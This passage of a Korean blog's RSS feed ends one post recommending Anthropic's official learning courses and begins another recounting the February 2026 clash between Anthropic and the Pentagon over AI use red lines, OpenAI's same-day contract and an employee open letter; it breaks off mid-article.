&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude를 만든 회사가 직접 제공하는 무료 공식 커리큘럼&lt;/b&gt;&lt;/span&gt;이라는 점에서 정보의 정확성과 최신성이 보장된다. 개발자용 심화 과정(Claude Code, API, MCP, 에이전트)부터 비개발자를 위한 AI 유창성 시리즈, 교육자&amp;middot;학생&amp;middot;비영리단체를 위한 특화 과정까지 폭넓게 다루고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 MCP(Model Context Protocol)처럼 급속도로 발전하는 분야에서는 써드파티 강의보다 이 공식 학습 플랫폼을 적극 활용하는 것이 가장 정확하고 효율적인 방법이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 보너스: GitHub 오픈소스 코스 (github.com/anthropics/courses)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Skilljar 플랫폼 외에도, Anthropic은 GitHub에 Jupyter Notebook 기반 핸즈온 튜토리얼 5개를 오픈소스로 제공하고 있다. Academy 이론 코스의 내용을 직접 코드로 실습하고 싶을 때 활용하면 좋다 &amp;mdash; API Fundamentals는 Building with the Claude API의 실습 보완재로, Prompt Engineering Tutorial은 AI Fluency 시리즈와 짝을 이루는 개발자용 심화 자료다.&lt;/p&gt;
&lt;ol style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Anthropic API Fundamentals&lt;/b&gt; &amp;mdash; API 키, 모델 파라미터, 멀티모달, 스트리밍&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Prompt Engineering Interactive Tutorial&lt;/b&gt; &amp;mdash; 단계별 프롬프팅 기법 (AWS Workshop으로도 제공)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Real World Prompting&lt;/b&gt; &amp;mdash; 복잡한 프로덕션 프롬프트 (Google Vertex 버전 포함)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Prompt Evaluations&lt;/b&gt; &amp;mdash; 프로덕션 프롬프트 품질 측정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Tool Use&lt;/b&gt; &amp;mdash; Claude 워크플로우에 도구 사용 구축&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;권장 순서: ① &amp;rarr; ② &amp;rarr; ③ &amp;rarr; ④ &amp;rarr; ⑤&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 20px;&quot;&gt;&lt;b&gt; 바로 시작하기&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.skilljar.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Anthropic Academy 바로가기&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/learn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Anthropic 학습 허브&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/anthropics/courses&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;GitHub 오픈소스 코스&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://code.claude.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Claude Code 공식 문서&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://modelcontextprotocol.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;MCP 공식 문서&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://console.anthropic.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Anthropic Console (API 키 발급)&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;긴 글 읽어 주셔서 감사합니다 :)&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 개발 무료 강의</category>
      <category>AI 개발자 공부</category>
      <category>Amazon Bedrock Claude 강의</category>
      <category>Anthropic Academy</category>
      <category>Anthropic 공식 교육</category>
      <category>Claude API 강의</category>
      <category>Claude Code 무료 강의</category>
      <category>Claude Code 배우기</category>
      <category>claude 활용법</category>
      <category>MCP 강의 무료</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/533</guid>
      <comments>https://goddaehee.tistory.com/533#entry533comment</comments>
      <pubDate>Wed, 4 Mar 2026 08:00:59 +0900</pubDate>
    </item>
    <item>
      <title>26년 AI 펜타곤 사태 : Anthropic은 거부하고 OpenAI는 서명했다 &amp;mdash; AI 자율무기 레드라인 전쟁 정리</title>
      <link>https://goddaehee.tistory.com/532</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 2월 27일 금요일. AI 산업 역사에서 이 날은 오래 기억될 것이다. 단 하루 만에 세 가지 사건이 동시에 터졌다. Anthropic이 2억 달러 규모의 펜타곤 계약을 잃고 &quot;공급망 안보 위협&quot;으로 지정됐고, 그날 저녁 OpenAI가 같은 펜타곤과 계약을 체결했으며, Google DeepMind와 OpenAI 직원 430명 이상이 AI 군사 활용의 &quot;레드라인&quot;을 요구하는 공개 서한에 서명했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2300&quot; data-origin-height=&quot;1298&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EmewY/dJMcajuyJhU/fku7FWeNDSEbrUr4pUGhC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EmewY/dJMcajuyJhU/fku7FWeNDSEbrUr4pUGhC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EmewY/dJMcajuyJhU/fku7FWeNDSEbrUr4pUGhC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEmewY%2FdJMcajuyJhU%2Ffku7FWeNDSEbrUr4pUGhC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2300&quot; height=&quot;1298&quot; data-origin-width=&quot;2300&quot; data-origin-height=&quot;1298&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;이 세 사건은 따로 떼어놓고 보면 각각 의미가 있지만, 하나의 흐름으로 읽으면 전혀 다른 그림이 보인다. AI 기업은 자사 기술의 군사적 사용에 어디까지 제한을 걸 수 있는가. 국가 안보와 AI 안전이 충돌할 때, 기술 기업은 어떤 선택을 해야 하는가. 그리고 기술을 만드는 개발자들은 이 상황에서 어떤 발언권을 가지는가.&lt;br /&gt;&lt;br /&gt;이 글은 그날 벌어진 세 사건의 전말을 하나의 서사로 재구성한 것이다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;1장. 발단 -- Anthropic의 2억 달러 싸움&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;2장. 반격 -- 펜타곤의 유례없는 조치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;3장. 반전 -- OpenAI, 같은 날 딜 체결&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;4장. 연대 -- 430명의 오픈레터&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;5장. 세 전략 비교 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;6장. 개발자에게 남은 질문&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;2025년 7월 체결된 Anthropic-펜타곤 2억 달러 계약이 2026년 2월 27일 파기됐다. Anthropic은 Claude가 완전 자율무기와 대규모 감시에 쓰이지 않도록 하는 레드라인을 고수했고, Hegseth 국방장관은 이를 거부하며 Anthropic을 &quot;공급망 안보 위협&quot;으로 지정했다. 같은 날 저녁 OpenAI가 세 가지 안전 레드라인을 포함한 조건으로 펜타곤과 계약을 체결했으며, Google DeepMind와 OpenAI 직원 430명 이상이 레드라인 채택을 요구하는 공개 서한에 서명했다.&lt;/div&gt;
&lt;!-- 3가지 사건 박스 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;이 글에서 다루는 3가지 사건 (2026년 2월 27일)&lt;/b&gt;
&lt;ol style=&quot;margin-top: 10px; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Anthropic-펜타곤 결별:&lt;/b&gt; 2억 달러 계약 파기, &quot;공급망 안보 위협&quot; 지정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;OpenAI-펜타곤 계약 체결:&lt;/b&gt; 세 가지 안전 레드라인 포함 합의&lt;/li&gt;
&lt;li&gt;&lt;b&gt;직원 오픈레터:&lt;/b&gt; Google DeepMind + OpenAI 직원 430명+ 공동 서명&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 1장 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1장. 발단 -- Anthropic의 2억 달러 싸움&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이야기는 2025년 7월로 거슬러 올라간다. Anthropic은 미 국방부(펜타곤, 현재 공식 명칭 &quot;Department of War&quot;)와 &lt;b&gt;2억 달러 규모의 AI 개발 계약&lt;/b&gt;을 체결했다. 이 계약으로 Claude는 국방부 기밀 네트워크에 배치된 최초의 프론티어 AI 모델이 됐다. 당시만 해도 양측 관계는 순탄해 보였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 계약서에 포함된 두 가지 사용 제한 조항이었다. Anthropic은 처음부터 Claude가 특정 용도로 쓰이지 않도록 하는 &quot;레드라인&quot;을 명시했다. 국방부는 계약 이행 과정에서 이 제한을 점차 불편하게 여겼고, 결국 &quot;모든 합법적 목적(all lawful purposes)&quot;을 위한 무제한 접근을 요구하기에 이르렀다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Anthropic이 고수한 2가지 레드라인&lt;/b&gt;
&lt;ol style=&quot;margin-top: 10px; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;완전 자율무기(Fully Autonomous Weapons) 제어 금지:&lt;/b&gt; 인간의 판단 없이 AI가 독자적으로 치명적 결정을 내리는 무기 시스템에 Claude 사용을 거부&lt;/li&gt;
&lt;li&gt;&lt;b&gt;미국 내 대규모 감시(Mass Surveillance of Americans) 금지:&lt;/b&gt; 국내 민간인 대상 광범위한 AI 기반 감시 시스템 구축에 Claude 제공을 거부&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;협상은 점점 격화됐다. 2026년 2월 24일, Pete Hegseth 국방장관은 Dario Amodei CEO에게 최후통첩을 보냈다. &lt;b&gt;&quot;금요일(2월 27일) 오후 5시 1분까지 AI 사용 제한을 철회하지 않으면 계약을 취소하고 '공급망 안보 위협'으로 지정하겠다.&quot;&lt;/b&gt; Fortune 보도에 따르면 Hegseth는 Anthropic의 입장을 &quot;woke AI&quot;라고 비판했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2월 26일, Amodei는 펜타곤의 &quot;최선이자 최종 제안&quot;을 공식 거부했다. 그리고 공개 성명을 발표했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;Dario Amodei CEO 공개 성명 (요약)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Anthropic은 군사적 결정은 민간 기업이 아닌 국방부가 내린다는 것을 이해합니다. 그러나 극히 제한된 몇 가지 경우에 AI는 민주적 가치를 방어하는 것이 아니라 오히려 훼손할 수 있다고 믿습니다. 대규모 감시와 자율무기 같은 사용 사례는 오늘날의 기술이 안전하고 신뢰할 수 있게 수행할 수 있는 범위를 벗어난 것입니다. 위협이 우리의 입장을 바꾸지 않습니다: 우리는 양심상 그들의 요청에 동의할 수 없습니다(We cannot in good conscience accede to their request).&quot;&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Anthropic 공식 성명 / CNN Business, 2026.02.26)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Amodei의 논리는 두 축으로 구성됐다. 첫째, &lt;b&gt;기술적 이유&lt;/b&gt;: 현재 AI 기술 수준에서 완전 자율무기와 대규모 감시는 안전하고 신뢰할 수 있게 수행하기 어렵다. 둘째, &lt;b&gt;가치적 이유&lt;/b&gt;: 이러한 사용 사례는 민주적 가치를 훼손할 위험이 있다. Anthropic은 단순한 계약 분쟁이 아닌, AI 안전 원칙의 문제로 이 사안을 프레이밍했다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold;&quot;&gt;날짜&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold;&quot;&gt;사건&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px; white-space: nowrap;&quot;&gt;&lt;b&gt;2025년 7월&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;Anthropic, 펜타곤과 2억 달러 규모 AI 개발 계약 체결. Claude가 국방부 기밀 네트워크에 배치된 최초의 프론티어 AI 모델이 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px; white-space: nowrap;&quot;&gt;&lt;b&gt;2026년 2월 24일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;Hegseth 국방장관, Amodei CEO에게 최후통첩: 금요일 오후 5시 1분까지 AI 사용 제한 철회 요구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px; white-space: nowrap;&quot;&gt;&lt;b&gt;2026년 2월 26일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;Amodei, 펜타곤의 최종 제안 공식 거부. 공개 성명 발표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px; white-space: nowrap;&quot;&gt;&lt;b&gt;2026년 2월 27일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;Hegseth, Anthropic을 &quot;공급망 안보 위협&quot; 지정. 같은 날 저녁 OpenAI 계약 체결, 직원 오픈레터 공개&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 2장 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2장. 반격 -- 펜타곤의 유례없는 조치&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 최후통첩을 거부하자, Hegseth 국방장관은 즉시 행동에 나섰다. 2026년 2월 27일, 펜타곤은 Anthropic을 &lt;b&gt;&quot;국가 안보 공급망 위협(Supply-Chain Risk to National Security)&quot;&lt;/b&gt;으로 공식 지정했다. 이 조치의 무게를 이해하려면 이 지정이 통상 어떤 대상에 사용되는지를 알아야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;공급망 안보 위협&quot; 지정이란&lt;/b&gt;
&lt;ul style=&quot;margin-top: 10px; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 지정은 통상 &lt;b&gt;중국 화웨이&lt;/b&gt;나 러시아 기업 등 외국 적대 세력에 사용하는 조치다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;미국 기업&lt;/b&gt;에 이 지정이 적용된 사례는 보고된 바 없다&lt;/li&gt;
&lt;li&gt;지정되면 &lt;b&gt;모든 연방 기관과 국방 계약업체&lt;/b&gt;가 해당 기업과의 거래를 중단해야 한다&lt;/li&gt;
&lt;li&gt;2억 달러 국방부 계약 파기는 물론, 연방 정부 관련 사업 전반에 영향을 미친다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Axios, TechCrunch, Mayer Brown 분석, 2026.02.27)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;미국 기업에 화웨이 수준의 조치를 취한 것은 전례가 없는 일이었다. Axios는 이를 &quot;AI와 국가 안보의 교차점에서 가장 중대하고 논쟁적인 정책 결정&quot;이라고 평가했다. 펜타곤 측은 협상 과정에서 상당한 양보를 했다고 주장했다. CBS News에 따르면 한 국방부 관계자는 &quot;당신들은 당신들의 군대가 옳은 일을 할 것이라고 믿어야 한다&quot;고 말한 것으로 전해졌다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한편 펜타곤 측의 수사는 점점 격해졌다. Fortune 보도에 따르면, 펜타곤의 연구공학 차관 Emil Michael은 X(구 트위터)에서 Amodei를 &quot;거짓말쟁이&quot;이자 &quot;신 콤플렉스(God complex)&quot;를 가진 인물이라고 비난했다. 이러한 인신공격 수준의 발언은 정부 관료가 민간 기업 CEO를 공개적으로 비난한 것으로, 사태의 심각성을 보여준다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 &quot;공급망 안보 위협&quot; 지정에 대해 &lt;b&gt;법적 대응을 예고&lt;/b&gt;했다. Anthropic 측은 이 지정이 군사 계약업체들의 자사와의 거래를 금지한다는 Hegseth의 주장에 이의를 제기하겠다고 밝혔다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;CNBC의 분석 (2026년 2월 27일)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Anthropic-국방부 AI 대치는 미래 전쟁에서 권력 균형을 실시간으로 시험하는 장이 되었다.&quot;&lt;br /&gt;(출처: CNBC)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3장 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3장. 반전 -- OpenAI, 같은 날 딜 체결&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바로 그날 저녁이었다. Anthropic이 블랙리스트에 오른 지 몇 시간도 지나지 않아, &lt;b&gt;OpenAI CEO Sam Altman이 펜타곤과의 계약 체결을 발표&lt;/b&gt;했다. CNBC는 &quot;Anthropic이 블랙리스트에 오른 지 몇 시간 만에 OpenAI가 펜타곤과 계약을 맺었다&quot;고 보도했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman 자신도 이 상황의 불편함을 인정했다. X에서의 AMA(Ask Me Anything) 세션에서 그는 이렇게 말했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;Sam Altman의 주요 발언&lt;/b&gt;
&lt;ul style=&quot;margin-top: 10px; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;분명히 서둘러 맺어진 계약이고, 겉보기에 좋지 않다(definitely rushed, the optics don't look good).&quot; (2월 28일 AMA)&lt;/li&gt;
&lt;li&gt;&quot;우리는 상황을 완화하고 싶었고, 제안된 조건이 좋다고 생각했다.&quot;&lt;/li&gt;
&lt;li&gt;이후 3월 3일 추가 발언: &quot;기회주의적이고 엉성해 보였다(looked opportunistic and sloppy).&quot; 계약 조건 재협상 착수&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: TechCrunch, Fortune, CNBC, 2026.02.28~03.03)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그렇다면 OpenAI는 계약에서 무엇을 얻어냈는가. Axios 보도에 따르면, 펜타곤은 OpenAI의 안전 레드라인을 공식 승인했다. OpenAI가 계약에 포함시킨 세 가지 명시적 사용 금지 조항은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;OpenAI-펜타곤 계약의 3가지 레드라인&lt;/b&gt;
&lt;ol style=&quot;margin-top: 10px; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;국내 대규모 감시(Mass Domestic Surveillance) 금지:&lt;/b&gt; 미국 내 민간인 대상 대규모 AI 기반 감시 시스템에 OpenAI 기술 사용 금지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;자율무기 시스템 제어(Directing Autonomous Weapons Systems) 금지:&lt;/b&gt; 인간의 판단 없이 AI가 독자적으로 작동하는 무기 시스템 제어에 사용 금지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;고위험 자동화 의사결정(High-Stakes Automated Decisions) 금지:&lt;/b&gt; 사회 신용 시스템 등 인명에 직접 영향을 미치는 고위험 결정의 완전 자동화에 사용 금지&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Axios, OpenAI 공식 블로그 &quot;Our agreement with the Department of War&quot;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;주목할 점은 OpenAI가 레드라인 외에도 기술적 구현 조건을 확보했다는 것이다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;클라우드 기반 배포 한정:&lt;/b&gt; 엣지 시스템(현장 직접 배치)이 아닌 클라우드 환경으로 배포 범위 제한&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;안전 스택 재량권:&lt;/b&gt; OpenAI가 자사 기술의 안전 구현 방식에 대한 완전한 재량권 유지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 인가 직원 참여:&lt;/b&gt; 보안 허가를 받은 OpenAI 직원이 운영 과정에 참여&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;계약 종료권:&lt;/b&gt; 계약 위반 시 OpenAI가 일방적으로 계약을 종료할 수 있는 조항 포함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기회주의인가, 현실주의인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 상황에서 OpenAI의 행동에 대한 평가는 즉각적으로 갈렸다.&lt;/p&gt;
